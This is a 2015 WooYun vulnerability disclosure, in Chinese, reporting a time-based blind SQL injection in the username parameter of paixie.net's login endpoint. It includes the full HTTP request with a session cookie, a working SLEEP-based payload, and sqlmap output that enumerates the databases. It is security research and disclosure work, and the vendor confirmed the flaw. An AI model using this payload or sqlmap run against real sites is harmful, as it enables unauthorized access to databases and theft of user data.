当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0120168

漏洞标题:拍鞋网某处SQL注入

相关厂商:paixie.net

漏洞作者: 天地不仁 以万物为刍狗

提交时间:2015-06-15 17:43

修复时间:2015-07-31 09:56

公开时间:2015-07-31 09:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-15: 细节已通知厂商并且等待厂商处理中
2015-06-16: 厂商已经确认,细节仅向厂商公开
2015-06-26: 细节向核心白帽子及相关领域专家公开
2015-07-06: 细节向普通白帽子公开
2015-07-16: 细节向实习白帽子公开
2015-07-31: 细节向公众公开

简要描述:

天地本不仁 万物为刍狗

详细说明:

数据包:

GET /login?act=ajaxlogin&jsoncallback=jQuery164003419350739568472_1434156542206&&imgcode=&username=admin&password=admin&ckusername=on&_=1434156576209 HTTP/1.1
Host: www.paixie.net
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.0.595.32 Safari/537.36
Referer: http://www.paixie.net/login.html?url=http://union.weixiaodian.com/personal-introduce.html&type=wshop
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=uavrqjnf5vapj9dq56peu8b146; GUID=4d0cb363-706d-c4a0-26e3-d54f222b045b


username 处可时间注入

0.png


1.png


1库 28表

2.png


漏洞证明:

GET parameter 'username' is vulnerable. Do you want to keep testing the others (
if any)? [y/N] n
sqlmap identified the following injection points with a total of 839 HTTP(s) req
uests:
---
Parameter: username (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: act=ajaxlogin&jsoncallback=jQuery164003419350739568472_143415654220
6&&imgcode=&username=admin' AND (SELECT * FROM (SELECT(SLEEP(5)))kUHN) AND 'tOPb
'='tOPb&password=admin&ckusername=on&_=1434156576209
---
[09:14:35] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.12
[09:14:35] [INFO] fetching database names
[09:14:35] [INFO] fetching number of databases
[09:14:35] [WARNING] multi-threading is considered unsafe in time-based data ret
rieval. Going to switch it off automatically
[09:14:35] [INFO] retrieved:
[09:14:35] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
1
[09:14:58] [INFO] retrieved:
[09:15:09] [INFO] adjusting time delay to 3 seconds due to good response times
information_schema
available databases [1]:
[*] information_schema
[09:22:57] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.paixie.net'
[*] shutting down at 09:22:57

修复方案:

版权声明:转载请注明来源 天地不仁 以万物为刍狗@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-06-16 09:54

厂商回复:

很感谢提交,谢谢

最新状态:

暂无